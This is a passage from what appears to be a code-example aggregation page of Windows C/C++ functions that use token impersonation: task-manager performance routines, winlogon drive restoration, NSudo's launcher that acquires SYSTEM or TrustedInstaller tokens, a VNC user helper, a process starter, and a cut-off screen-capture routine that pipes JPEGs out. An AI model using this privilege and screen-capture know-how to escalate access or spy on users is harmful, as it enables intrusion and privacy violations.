    memcpy(&SystemCacheInfo, &SysCacheInfo, sizeof(SYSTEM_CACHE_INFORMATION));
    
    /*
     * Save system processor time info
     */
    HeapFree(GetProcessHeap(), 0, SystemProcessorTimeInfo);
    SystemProcessorTimeInfo = SysProcessorTimeInfo;
    
    /*
     * Save system handle info
     */
    memcpy(&SystemHandleInfo, SysHandleInfoData, sizeof(SYSTEM_HANDLE_INFORMATION));
    HeapFree(GetProcessHeap(), 0, SysHandleInfoData);
    
    for (CurrentKernelTime=0, Idx=0; Idx<SystemBasicInfo.bKeNumberProcessors; Idx++) {
        CurrentKernelTime += Li2Double(SystemProcessorTimeInfo[Idx].KernelTime);
        CurrentKernelTime += Li2Double(SystemProcessorTimeInfo[Idx].DpcTime);
        CurrentKernelTime += Li2Double(SystemProcessorTimeInfo[Idx].InterruptTime);
    }

    /* If it's a first call - skip idle time calcs */
    if (liOldIdleTime.QuadPart != 0) {
        /*  CurrentValue = NewValue - OldValue */
        dbIdleTime = Li2Double(SysPerfInfo.liIdleTime) - Li2Double(liOldIdleTime);
        dbKernelTime = CurrentKernelTime - OldKernelTime;
        dbSystemTime = Li2Double(SysTimeInfo.liKeSystemTime) - Li2Double(liOldSystemTime);

        /*  CurrentCpuIdle = IdleTime / SystemTime */
        dbIdleTime = dbIdleTime / dbSystemTime;
        dbKernelTime = dbKernelTime / dbSystemTime;
        
        /*  CurrentCpuUsage% = 100 - (CurrentCpuIdle * 100) / NumberOfProcessors */
        dbIdleTime = 100.0 - dbIdleTime * 100.0 / (double)SystemBasicInfo.bKeNumberProcessors; /* + 0.5; */
        dbKernelTime = 100.0 - dbKernelTime * 100.0 / (double)SystemBasicInfo.bKeNumberProcessors; /* + 0.5; */
    }

    /* Store new CPU's idle and system time */
    liOldIdleTime = SysPerfInfo.liIdleTime;
    liOldSystemTime = SysTimeInfo.liKeSystemTime;
    OldKernelTime = CurrentKernelTime;

    /* Determine the process count
     * We loop through the data we got from NtQuerySystemInformation
     * and count how many structures there are (until RelativeOffset is 0)
     */
    ProcessCountOld = ProcessCount;
    ProcessCount = 0;
    pSPI = (PSYSTEM_PROCESS_INFORMATION)pBuffer;
    while (pSPI) {
        ProcessCount++;
        if (pSPI->RelativeOffset == 0)
            break;
        pSPI = (PSYSTEM_PROCESS_INFORMATION)((LPBYTE)pSPI + pSPI->RelativeOffset);
    }

    /* Now alloc a new PERFDATA array and fill in the data */
    HeapFree(GetProcessHeap(), 0, pPerfDataOld);
    pPerfDataOld = pPerfData;
    pPerfData = HeapAlloc(GetProcessHeap(), 0, sizeof(PERFDATA) * ProcessCount);
    pSPI = (PSYSTEM_PROCESS_INFORMATION)pBuffer;
    for (Idx=0; Idx<ProcessCount; Idx++) {
        /* Get the old perf data for this process (if any) */
        /* so that we can establish delta values */
        pPDOld = NULL;
        for (Idx2=0; Idx2<ProcessCountOld; Idx2++) {
            if (pPerfDataOld[Idx2].ProcessId == pSPI->ProcessId) {
                pPDOld = &pPerfDataOld[Idx2];
                break;
            }
        }

        /* Clear out process perf data structure */
        memset(&pPerfData[Idx], 0, sizeof(PERFDATA));

        if (pSPI->Name.Buffer)
            lstrcpyW(pPerfData[Idx].ImageName, pSPI->Name.Buffer);
        else
        {
            static const WCHAR idleW[] = {'S','y','s','t','e','m',' ','I','d','l','e',' ','P','r','o','c','e','s','s',0};
            lstrcpyW(pPerfData[Idx].ImageName, idleW );
        }

        pPerfData[Idx].ProcessId = pSPI->ProcessId;

        if (pPDOld)    {
            double    CurTime = Li2Double(pSPI->KernelTime) + Li2Double(pSPI->UserTime);
            double    OldTime = Li2Double(pPDOld->KernelTime) + Li2Double(pPDOld->UserTime);
            double    CpuTime = (CurTime - OldTime) / dbSystemTime;
            CpuTime = CpuTime * 100.0 / (double)SystemBasicInfo.bKeNumberProcessors; /* + 0.5; */
            pPerfData[Idx].CPUUsage = (ULONG)CpuTime;
        }
        pPerfData[Idx].CPUTime.QuadPart = pSPI->UserTime.QuadPart + pSPI->KernelTime.QuadPart;
        pPerfData[Idx].WorkingSetSizeBytes = pSPI->TotalWorkingSetSizeBytes;
        pPerfData[Idx].PeakWorkingSetSizeBytes = pSPI->PeakWorkingSetSizeBytes;
        if (pPDOld)
            pPerfData[Idx].WorkingSetSizeDelta = labs((LONG)pSPI->TotalWorkingSetSizeBytes - (LONG)pPDOld->WorkingSetSizeBytes);
        else
            pPerfData[Idx].WorkingSetSizeDelta = 0;
        pPerfData[Idx].PageFaultCount = pSPI->PageFaultCount;
        if (pPDOld)
            pPerfData[Idx].PageFaultCountDelta = labs((LONG)pSPI->PageFaultCount - (LONG)pPDOld->PageFaultCount);
        else
            pPerfData[Idx].PageFaultCountDelta = 0;
        pPerfData[Idx].VirtualMemorySizeBytes = pSPI->TotalVirtualSizeBytes;
        pPerfData[Idx].PagedPoolUsagePages = pSPI->TotalPagedPoolUsagePages;
        pPerfData[Idx].NonPagedPoolUsagePages = pSPI->TotalNonPagedPoolUsagePages;
        pPerfData[Idx].BasePriority = pSPI->BasePriority;
        pPerfData[Idx].HandleCount = pSPI->HandleCount;
        pPerfData[Idx].ThreadCount = pSPI->ThreadCount;
        pPerfData[Idx].SessionId = pSPI->SessionId;
        
        hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pSPI->ProcessId);
        if (hProcess) {
            if (OpenProcessToken(hProcess, TOKEN_QUERY|TOKEN_DUPLICATE|TOKEN_IMPERSONATE, &hProcessToken)) {
                ImpersonateLoggedOnUser(hProcessToken);
                memset(szTemp, 0, sizeof(TCHAR[MAX_PATH]));
                dwSize = MAX_PATH;
                GetUserName(szTemp, &dwSize);
#ifndef UNICODE
                MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, szTemp, -1, pPerfData[Idx].UserName, MAX_PATH);
/*
int MultiByteToWideChar(
  UINT CodePage,         // code page
  DWORD dwFlags,         //  character-type options
  LPCSTR lpMultiByteStr, //  string to map
  int cbMultiByte,       //  number of bytes in string
  LPWSTR lpWideCharStr,  //  wide-character buffer
  int cchWideChar        //  size of buffer
);
 */
#endif
                RevertToSelf();
                CloseHandle(hProcessToken);
            }
            if (pGetGuiResources) {
                pPerfData[Idx].USERObjectCount = pGetGuiResources(hProcess, GR_USEROBJECTS);
                pPerfData[Idx].GDIObjectCount = pGetGuiResources(hProcess, GR_GDIOBJECTS);
            }
            if (pGetProcessIoCounters)
                pGetProcessIoCounters(hProcess, &pPerfData[Idx].IOCounters);
            CloseHandle(hProcess);
        }
        pPerfData[Idx].UserTime.QuadPart = pSPI->UserTime.QuadPart;
        pPerfData[Idx].KernelTime.QuadPart = pSPI->KernelTime.QuadPart;
        pSPI = (PSYSTEM_PROCESS_INFORMATION)((LPBYTE)pSPI + pSPI->RelativeOffset);
    }
    HeapFree(GetProcessHeap(), 0, pBuffer);
    LeaveCriticalSection(&PerfDataCriticalSection);
}
Exemplo n.º 19
0
void PerfDataRefresh()
{
	LONG							status;
	ULONG							ulSize;
	LPBYTE							pBuffer;
	ULONG							Idx, Idx2;
	PSYSTEM_PROCESS_INFORMATION		pSPI;
	PPERFDATA						pPDOld;
#ifdef EXTRA_INFO
	HANDLE							hProcess;
	HANDLE							hProcessToken;
	TCHAR							szTemp[MAX_PATH];
	DWORD							dwSize;
#endif
#ifdef TIMES
	LARGE_INTEGER 						liCurrentKernelTime;
	LARGE_INTEGER						liCurrentIdleTime;
	LARGE_INTEGER						liCurrentTime;
#endif
	PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION		SysProcessorTimeInfo;
	SYSTEM_TIMEOFDAY_INFORMATION				SysTimeInfo;

#ifdef TIMES
	// Get new system time
	status = NtQuerySystemInformation(SystemTimeInformation, &SysTimeInfo, sizeof(SysTimeInfo), 0);
	if (status != NO_ERROR)
		return;
#endif
	// Get processor information
	SysProcessorTimeInfo = (PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION)malloc(sizeof(SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION) * SystemBasicInfo.NumberOfProcessors);
	status = NtQuerySystemInformation(SystemProcessorPerformanceInformation, SysProcessorTimeInfo, sizeof(SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION) * SystemBasicInfo.NumberOfProcessors, &ulSize);


	// Get process information
	PsaCaptureProcessesAndThreads((PSYSTEM_PROCESS_INFORMATION *)&pBuffer);

#ifdef TIMES
	liCurrentKernelTime.QuadPart = 0;
	liCurrentIdleTime.QuadPart = 0;
	for (Idx=0; Idx<SystemBasicInfo.NumberOfProcessors; Idx++) {
		liCurrentKernelTime.QuadPart += SysProcessorTimeInfo[Idx].KernelTime.QuadPart;
		liCurrentKernelTime.QuadPart += SysProcessorTimeInfo[Idx].DpcTime.QuadPart;
		liCurrentKernelTime.QuadPart += SysProcessorTimeInfo[Idx].InterruptTime.QuadPart;
		liCurrentIdleTime.QuadPart += SysProcessorTimeInfo[Idx].IdleTime.QuadPart;
	}

	// If it's a first call - skip idle time calcs
	if (liOldIdleTime.QuadPart != 0) {
		// CurrentValue = NewValue - OldValue
		liCurrentTime.QuadPart = liCurrentIdleTime.QuadPart - liOldIdleTime.QuadPart;
		dbIdleTime = Li2Double(liCurrentTime);
		liCurrentTime.QuadPart = liCurrentKernelTime.QuadPart - liOldKernelTime.QuadPart;
		dbKernelTime = Li2Double(liCurrentTime);
		liCurrentTime.QuadPart = SysTimeInfo.CurrentTime.QuadPart - liOldSystemTime.QuadPart;
	    	dbSystemTime = Li2Double(liCurrentTime);

		// CurrentCpuIdle = IdleTime / SystemTime
		dbIdleTime = dbIdleTime / dbSystemTime;
		dbKernelTime = dbKernelTime / dbSystemTime;

		// CurrentCpuUsage% = 100 - (CurrentCpuIdle * 100) / NumberOfProcessors
		dbIdleTime = 100.0 - dbIdleTime * 100.0 / (double)SystemBasicInfo.NumberOfProcessors;// + 0.5;
		dbKernelTime = 100.0 - dbKernelTime * 100.0 / (double)SystemBasicInfo.NumberOfProcessors;// + 0.5;
	}

	// Store new CPU's idle and system time
	liOldIdleTime = liCurrentIdleTime;
	liOldSystemTime = SysTimeInfo.CurrentTime;
	liOldKernelTime = liCurrentKernelTime;
#endif

	// Determine the process count
	// We loop through the data we got from PsaCaptureProcessesAndThreads
	// and count how many structures there are (until PsaWalkNextProcess
        // returns NULL)
	ProcessCountOld = ProcessCount;
	ProcessCount = 0;
        pSPI = PsaWalkFirstProcess((PSYSTEM_PROCESS_INFORMATION)pBuffer);
	while (pSPI) {
		ProcessCount++;
		pSPI = PsaWalkNextProcess(pSPI);
	}

	// Now alloc a new PERFDATA array and fill in the data
	if (pPerfDataOld) {
		free(pPerfDataOld);
	}
	pPerfDataOld = pPerfData;
	pPerfData = (PPERFDATA)malloc(sizeof(PERFDATA) * ProcessCount);
        pSPI = PsaWalkFirstProcess((PSYSTEM_PROCESS_INFORMATION)pBuffer);
	for (Idx=0; Idx<ProcessCount; Idx++) {
		// Get the old perf data for this process (if any)
		// so that we can establish delta values
		pPDOld = NULL;
		for (Idx2=0; Idx2<ProcessCountOld; Idx2++) {
			if (pPerfDataOld[Idx2].ProcessId == (ULONG)(pSPI->UniqueProcessId) &&
			    /* check also for the creation time, a new process may have an id of an old one */
			    pPerfDataOld[Idx2].CreateTime.QuadPart == pSPI->CreateTime.QuadPart) {
				pPDOld = &pPerfDataOld[Idx2];
				break;
			}
		}

		// Clear out process perf data structure
		memset(&pPerfData[Idx], 0, sizeof(PERFDATA));

		if (pSPI->ImageName.Buffer) {
			wcsncpy(pPerfData[Idx].ImageName, pSPI->ImageName.Buffer, pSPI->ImageName.Length / sizeof(WCHAR));
                        pPerfData[Idx].ImageName[pSPI->ImageName.Length / sizeof(WCHAR)] = 0;
		}
		else
		{
#ifdef _UNICODE
			wcscpy(pPerfData[Idx].ImageName, lpIdleProcess);
#else
			MultiByteToWideChar(CP_ACP, 0, lpIdleProcess, strlen(lpIdleProcess), pPerfData[Idx].ImageName, MAX_PATH);
#endif
		}

		pPerfData[Idx].ProcessId = (ULONG)(pSPI->UniqueProcessId);
		pPerfData[Idx].CreateTime = pSPI->CreateTime;

		if (pPDOld)	{
#ifdef TIMES
			double	CurTime = Li2Double(pSPI->KernelTime) + Li2Double(pSPI->UserTime);
			double	OldTime = Li2Double(pPDOld->KernelTime) + Li2Double(pPDOld->UserTime);
			double	CpuTime = (CurTime - OldTime) / dbSystemTime;
			CpuTime = CpuTime * 100.0 / (double)SystemBasicInfo.NumberOfProcessors; // + 0.5;

			pPerfData[Idx].CPUUsage = (ULONG)CpuTime;
#else
			pPerfData[Idx].CPUUsage = 0;
#endif
		}

		pPerfData[Idx].CPUTime.QuadPart = pSPI->UserTime.QuadPart + pSPI->KernelTime.QuadPart;
		pPerfData[Idx].WorkingSetSizeBytes = pSPI->WorkingSetSize;
		pPerfData[Idx].PeakWorkingSetSizeBytes = pSPI->PeakWorkingSetSize;
		if (pPDOld)
			pPerfData[Idx].WorkingSetSizeDelta = labs((LONG)pSPI->WorkingSetSize - (LONG)pPDOld->WorkingSetSizeBytes);
		else
			pPerfData[Idx].WorkingSetSizeDelta = 0;
		pPerfData[Idx].PageFaultCount = pSPI->PageFaultCount;
		if (pPDOld)
			pPerfData[Idx].PageFaultCountDelta = labs((LONG)pSPI->PageFaultCount - (LONG)pPDOld->PageFaultCount);
		else
			pPerfData[Idx].PageFaultCountDelta = 0;
		pPerfData[Idx].VirtualMemorySizeBytes = pSPI->VirtualSize;
		pPerfData[Idx].PagedPoolUsagePages = pSPI->QuotaPagedPoolUsage;
		pPerfData[Idx].NonPagedPoolUsagePages = pSPI->QuotaNonPagedPoolUsage;
		pPerfData[Idx].BasePriority = pSPI->BasePriority;
		pPerfData[Idx].HandleCount = pSPI->HandleCount;
		pPerfData[Idx].ThreadCount = pSPI->NumberOfThreads;
		//pPerfData[Idx].SessionId = pSPI->SessionId;

#ifdef EXTRA_INFO
		hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, (DWORD)pSPI->UniqueProcessId);
		if (hProcess) {
			if (OpenProcessToken(hProcess, TOKEN_QUERY|TOKEN_DUPLICATE|TOKEN_IMPERSONATE, &hProcessToken)) {
				ImpersonateLoggedOnUser(hProcessToken);
				memset(szTemp, 0, sizeof(TCHAR[MAX_PATH]));
				dwSize = MAX_PATH;
				GetUserName(szTemp, &dwSize);
#ifndef UNICODE
				MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, szTemp, -1, pPerfData[Idx].UserName, MAX_PATH);
#endif
				RevertToSelf();
				CloseHandle(hProcessToken);
			}
			CloseHandle(hProcess);
		}
#endif
#ifdef TIMES
		pPerfData[Idx].UserTime.QuadPart = pSPI->UserTime.QuadPart;
		pPerfData[Idx].KernelTime.QuadPart = pSPI->KernelTime.QuadPart;
#endif
		pSPI = PsaWalkNextProcess(pSPI);
	}
	PsaFreeCapture(pBuffer);

	free(SysProcessorTimeInfo);
}
Exemplo n.º 20
0
static
VOID
RestoreAllConnections(PWLSESSION Session)
{
    DWORD dRet;
    HANDLE hEnum;
    LPNETRESOURCE lpRes;
    DWORD dSize = 0x1000;
    DWORD dCount = -1;
    LPNETRESOURCE lpCur;
    BOOL UserProfile;

    UserProfile = (Session && Session->UserToken);
    if (!UserProfile)
    {
        return;
    }

    if (!ImpersonateLoggedOnUser(Session->UserToken))
    {
        ERR("WL: ImpersonateLoggedOnUser() failed with error %lu\n", GetLastError());
        return;
    }

    dRet = WNetOpenEnum(RESOURCE_REMEMBERED, RESOURCETYPE_DISK, 0, NULL, &hEnum);
    if (dRet != WN_SUCCESS)
    {
        ERR("Failed to open enumeration: %lu\n", dRet);
        goto quit;
    }

    lpRes = HeapAlloc(GetProcessHeap(), 0, dSize);
    if (!lpRes)
    {
        ERR("Failed to allocate memory\n");
        WNetCloseEnum(hEnum);
        goto quit;
    }

    do
    {
        dSize = 0x1000;
        dCount = -1;

        memset(lpRes, 0, dSize);
        dRet = WNetEnumResource(hEnum, &dCount, lpRes, &dSize);
        if (dRet == WN_SUCCESS || dRet == WN_MORE_DATA)
        {
            lpCur = lpRes;
            for (; dCount; dCount--)
            {
                WNetAddConnection(lpCur->lpRemoteName, NULL, lpCur->lpLocalName);
                lpCur++;
            }
        }
    } while (dRet != WN_NO_MORE_ENTRIES);

    HeapFree(GetProcessHeap(), 0, lpRes);
    WNetCloseEnum(hEnum);

quit:
    RevertToSelf();
}
Exemplo n.º 21
0
int wmain(int argc, _TCHAR* argv[])
{
	//******** NSudoInitialize Start ********
	NSudoReturnMessage(TextRes.NSudo_AboutText);
	
	if (argc == 1) bGUIMode = true;

	SetProcessDPIAware();

	GetModuleFileNameW(NULL, szAppPath, 260);
	wcsrchr(szAppPath, L'\\')[0] = NULL;

	wcscpy_s(szShortCutListPath, 260, szAppPath);
	wcscat_s(szShortCutListPath, 260, L"\\ShortCutList.ini");

	if (!SetCurrentProcessPrivilege(SE_DEBUG_NAME, true))
	{
		if (bGUIMode)
		{
			wchar_t szExePath[260];

			GetModuleFileNameW(NULL, szExePath, 260);
			
			ShellExecuteW(NULL, L"runas", szExePath, NULL, NULL, SW_SHOW);
			return 0;

		}
		else
		{
			NSudoReturnMessage(TextRes.NSudo_Error_Text1);
			return -1;
		}
	}

	//******** NSudoInitialize End ********
	
	if (bGUIMode)
	{
		FreeConsole();

		DialogBoxParamW(GetModuleHandleW(NULL), MAKEINTRESOURCEW(IDD_NSudoDlg), NULL, NSudoDlgCallBack, 0L);
	}
	else
	{
		bool bUserArgEnable = true;
		bool bPrivilegeArgEnable = true;
		bool bIntegrityArgEnable = true;
		bool bCMDLineArgEnable = true;

		wchar_t *szBuffer = NULL;

		HANDLE hUserToken = INVALID_HANDLE_VALUE;

		for (int i = 1; i < argc; i++)
		{
			if (_wcsicmp(argv[i], L"-?") == 0)
			{
				NSudoReturnMessage(TextRes.NSudoC_HelpText);
				return 0;
			}
			else if (bUserArgEnable && _wcsicmp(argv[i], L"-U:T") == 0)
			{
				NSudoGetTrustedInstallerToken(&hUserToken);
				bUserArgEnable = false;
			}
			else if (bUserArgEnable && _wcsicmp(argv[i], L"-U:S") == 0)
			{
				NSudoGetSystemToken(&hUserToken);
				bUserArgEnable = false;
			}
			else if (bUserArgEnable && _wcsicmp(argv[i], L"-U:C") == 0)
			{
				NSudoGetCurrentUserToken(&hUserToken);
				bUserArgEnable = false;
			}
			else if (bUserArgEnable && _wcsicmp(argv[i], L"-U:P") == 0)
			{
				NSudoGetCurrentProcessToken(&hUserToken);
				bUserArgEnable = false;
			}
			else if (bUserArgEnable && _wcsicmp(argv[i], L"-U:D") == 0)
			{
				NSudoCreateLUAToken(&hUserToken);
				bUserArgEnable = false;
			}
			else if (bPrivilegeArgEnable && _wcsicmp(argv[i], L"-P:E") == 0)
			{
				NSudoAdjustAllTokenPrivileges(hUserToken, true);
				bPrivilegeArgEnable = false;
			}
			else if (bPrivilegeArgEnable && _wcsicmp(argv[i], L"-P:D") == 0)
			{
				NSudoAdjustAllTokenPrivileges(hUserToken, false);
				bPrivilegeArgEnable = false;
			}
			else if (bIntegrityArgEnable && _wcsicmp(argv[i], L"-M:S") == 0)
			{
				SetTokenIntegrity(hUserToken, L"S-1-16-16384");
				bIntegrityArgEnable = false;
			}
			else if (bIntegrityArgEnable && _wcsicmp(argv[i], L"-M:H") == 0)
			{
				SetTokenIntegrity(hUserToken, L"S-1-16-12288");
				bIntegrityArgEnable = false;
			}
			else if (bIntegrityArgEnable && _wcsicmp(argv[i], L"-M:M") == 0)
			{
				SetTokenIntegrity(hUserToken, L"S-1-16-8192");
				bIntegrityArgEnable = false;
			}
			else if (bIntegrityArgEnable && _wcsicmp(argv[i], L"-M:L") == 0)
			{
				SetTokenIntegrity(hUserToken, L"S-1-16-4096");
				bIntegrityArgEnable = false;
			}
			else if (bCMDLineArgEnable)
			{
				wchar_t szPath[260];

				DWORD dwLength = GetPrivateProfileStringW(argv[i], L"CommandLine", L"", szPath, 260, szShortCutListPath);

				wcscmp(szPath, L"") != 0 ? szBuffer = szPath : szBuffer = argv[i];

				if (szBuffer) bCMDLineArgEnable = false;
			}

		}

		if (bUserArgEnable || bCMDLineArgEnable)
		{
			NSudoReturnMessage(TextRes.NSudo_Error_Text4);
			return -1;
		}
		else
		{
			if (NSudoImpersonateSystemToken())
			{
				if (!NSudoCreateProcess(hUserToken, szBuffer))
				{
					NSudoReturnMessage(TextRes.NSudo_Error_Text3);
				}

				RevertToSelf();
			}
		}

		CloseHandle(hUserToken);
	}

	return 0;
}
Exemplo n.º 22
0
// CurrentUser - fills a buffer with the name of the current user!
BOOL
GetCurrentUser(char *buffer, UINT size) // RealVNC 336 change
{	// How to obtain the name of the current user depends upon the OS being used
	if ((g_platform_id == VER_PLATFORM_WIN32_NT) && vncService::RunningAsService())
	{
		// Windows NT, service-mode

		// -=- FIRSTLY - verify that a user is logged on

		// Receive the current Window station
		HWINSTA station = GetProcessWindowStation();
		if (station == NULL)
			return FALSE;

		// Receive the current user SID size
		DWORD usersize;
		GetUserObjectInformation(station,
			UOI_USER_SID, NULL, 0, &usersize);
		DWORD  dwErrorCode = GetLastError();
		SetLastError(0);

		// Check the required buffer size isn't zero
		if (usersize == 0)
		{
			// No user is logged in - ensure we're not impersonating anyone
			RevertToSelf();
			g_impersonating_user = FALSE;

			// Return "" as the name...
			if (strlen("") >= size)
				return FALSE;
			strcpy(buffer, "");

			return TRUE;
		}

		// -=- SECONDLY - a user is logged on but if we're not impersonating
		//     them then we can't continue!
		if (!g_impersonating_user) {
			// Return "" as the name...
			if (strlen("") >= size)
				return FALSE;
			strcpy(buffer, "");
			return TRUE;
		}
	}
		
	// -=- When we reach here, we're either running under Win9x, or we're running
	//     under NT as an application or as a service impersonating a user
	// Either way, we should find a suitable user name.

	switch (g_platform_id)
	{

	case VER_PLATFORM_WIN32_WINDOWS:
	case VER_PLATFORM_WIN32_NT:
		{
			// Just call GetCurrentUser
			DWORD length = size;

			if (GetUserName(buffer, &length) == 0)
			{
				UINT error = GetLastError();

				if (error == ERROR_NOT_LOGGED_ON)
				{
					// No user logged on
					if (strlen("") >= size)
						return FALSE;
					strcpy(buffer, "");
					return TRUE;
				}
				else
				{
					// Genuine error...
					//vnclog.Print(LL_INTERR, VNCLOG("getusername error %d\n"), GetLastError());
					Log.WinError(_ERROR_, "getusername error %d", GetLastError());
					return FALSE;
				}
			}
		}
		return TRUE;
	};

	// OS was not recognised!
	return FALSE;
}
Exemplo n.º 23
0
int newagent::start_process(const char *command,int & error_code,const char * local_dir,const char * user,const char * password) {
    error_code=0;
#ifdef _WIN32
    PROCESS_INFORMATION process;
    STARTUPINFO si;
    HANDLE res=0;
    bool ok=false;
    HANDLE other_user=0;
#ifdef _DEBUG
    if (!strcmp(command,"forceerror")) *((int *)0)=5;
#endif
    memset(&si,0,sizeof(si));
    si.cb          = sizeof(si);
    si.lpTitle     = (char*)command;
    si.wShowWindow = SW_SHOWDEFAULT;
    si.dwFlags     = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWNORMAL;
    char current_dir[256]=" ;103<;01",c_dir[256];
    if (local_dir&&*local_dir) {
        strcpy(c_dir,local_dir);
    }
    else {    
        if (!is_debug_session&&read_key("03",(unsigned char *)current_dir,sizeof(current_dir))) {
            char * finger=current_dir;
            int bs=4;
            while (*finger&&bs) {
                if (*finger=='\\') bs--;
                finger++;
            }
            if (*finger) sprintf(c_dir,maped_drive"\\%s",finger); else sprintf(c_dir,maped_drive"\\");
        } 
        else 
            strcpy(c_dir,".");
        
    }
    if (is_debug_session) {
        ok=(bool)CreateProcess(NULL,(char*)command,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS,NULL,c_dir,&si,&process);
        if (!ok) error_code=GetLastError();
    } 
    else {
        if (!local_dir&&!drive_maped) do_map_drive(error_code);
        if(!error_code) {
            HANDLE uh=server_user;
            if (user&&*user) {
                logonu(other_user,unscr((char*)user),unscr((char*)password),error_code);
                uh=other_user;
            }
            if (!error_code) {
                if (!ImpersonateLoggedOnUser(uh)) error_code=GetLastError();
                if (!error_code) {
                    char saved_dir[256];
                    if (!GetCurrentDirectory(sizeof(saved_dir),saved_dir)) {
                        logfile("GetCurrentDirectory failed\r\n");
                        error_code=GetLastError();
                    }
                    else {
                        if (!SetCurrentDirectory(c_dir)) {
                            error_code=GetLastError();
                            if (error_code==2) error_code=267;
                            logfile ("SetCurrentDirectory failed %s %i\r\n",c_dir,error_code);
                        }
                        else {
                            ok=(bool)CreateProcessAsUser( uh,NULL,(char*)command,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS,NULL,c_dir,&si,&process);
                            if (!ok) error_code=GetLastError();
                            if (ok&&!SetCurrentDirectory(saved_dir))  {
                                logfile("restore current dirctory failed %s\r\n",saved_dir);
                                error_code=GetLastError();
                            }
                        } 
                    }             
                    RevertToSelf();
                }
            }
        }
    }
    if (ok) {
        res=process.hProcess;
        CloseHandle(process.hThread);
        logfile("Process started: %s\r\n",command);
    }
    else {
        logfile("Process failed: %s error(%i) %s\r\n",command,error_code,c_dir);
    }
    if (other_user) CloseHandle(other_user);
    if (ok) 
        return (int)res;
    else
        return 0;
    
#else
    //  if (is_debug_session)
    {
        long res;
        _chdir(cur_dir);
        pid_t pid;
        if (invoke_program(command, res, false, NULL, NULL, &pid))
            return pid;
        printf("invoke_program error %d\n", res);
        error_code=res;
        logfile("Process failed: %s error(%i) %s\r\n",command,error_code,cur_dir);
        /* not sure these should be freed here
        free(user);
        free(password);
        */
        return 0;
    }
#endif
}
Exemplo n.º 24
0
/*
 * Take a screenshot of this sessions default input desktop on WinSta0
 * and send it as a JPEG image to a named pipe.
 */
DWORD screenshot( int quality, DWORD dwPipeName )
{
	DWORD dwResult             = ERROR_ACCESS_DENIED;
	HWINSTA hWindowStation     = NULL;
	HWINSTA hOrigWindowStation = NULL;
	HDESK hInputDesktop        = NULL;
	HDESK hOrigDesktop         = NULL;
	HWND hDesktopWnd           = NULL;	
	HDC hdc                    = NULL;
	HDC hmemdc                 = NULL;
	HBITMAP hbmp               = NULL;
	BYTE * pJpegBuffer         = NULL;
	OSVERSIONINFO os           = {0};
	char cNamedPipe[MAX_PATH]  = {0};
	// If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display.
	int xmetric               = SM_CXVIRTUALSCREEN;
	int ymetric               = SM_CYVIRTUALSCREEN;
	DWORD dwJpegSize          = 0;
	int sx                    = 0;
	int sy                    = 0;

	do
	{
		_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName );

		os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );

		if( !GetVersionEx( &os ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot: GetVersionEx failed" )
		
		// On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN.
		if( os.dwMajorVersion <= 4 )
		{
			xmetric = SM_CXSCREEN;
			ymetric = SM_CYSCREEN;
		}
		
		// open the WinSta0 as some services are attached to a different window station.
		hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
		if( !hWindowStation )
		{
			if( RevertToSelf() )
				hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
		}
		
		// if we cant open the defaut input station we wont be able to take a screenshot
		if( !hWindowStation )
			BREAK_WITH_ERROR( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
		
		// get the current process's window station so we can restore it later on.
		hOrigWindowStation = GetProcessWindowStation();
		
		// set the host process's window station to this sessions default input station we opened
		if( !SetProcessWindowStation( hWindowStation ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" );

		// grab a handle to the default input desktop (e.g. Default or WinLogon)
		hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
		if( !hInputDesktop )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot: OpenInputDesktop failed" );

		// get the threads current desktop so we can restore it later on
		hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() );

		// set this threads desktop to that of this sessions default input desktop on WinSta0
		SetThreadDesktop( hInputDesktop );

		// and now we can grab a handle to this input desktop
		hDesktopWnd = GetDesktopWindow();

		// and get a DC from it so we can read its pixels!
		hdc = GetDC( hDesktopWnd );
		if( !hdc )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. GetDC failed" );

		// back up this DC with a memory DC
		hmemdc = CreateCompatibleDC( hdc );
		if( !hmemdc )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleDC failed" );

		// calculate the width and height
		sx = GetSystemMetrics( xmetric );
		sy = GetSystemMetrics( ymetric );

		// and create a bitmap
		hbmp = CreateCompatibleBitmap( hdc, sx, sy );
		if( !hbmp )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleBitmap failed" );
		
		// this bitmap is backed by the memory DC
		if( !SelectObject( hmemdc, hbmp ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" );

		// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created 
		if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, 0, 0, SRCCOPY ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" );

		// finally convert the BMP we just made into a JPEG...
		if( bmp2jpeg( hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize ) != 1 )
			BREAK_WITH_ERROR( "[SCREENSHOT] screenshot. bmp2jpeg failed", ERROR_INVALID_HANDLE );

		// we have succeded
		dwResult = ERROR_SUCCESS;
		
	} while( 0 );

	// if we have successfully taken a screenshot we send it back via the named pipe
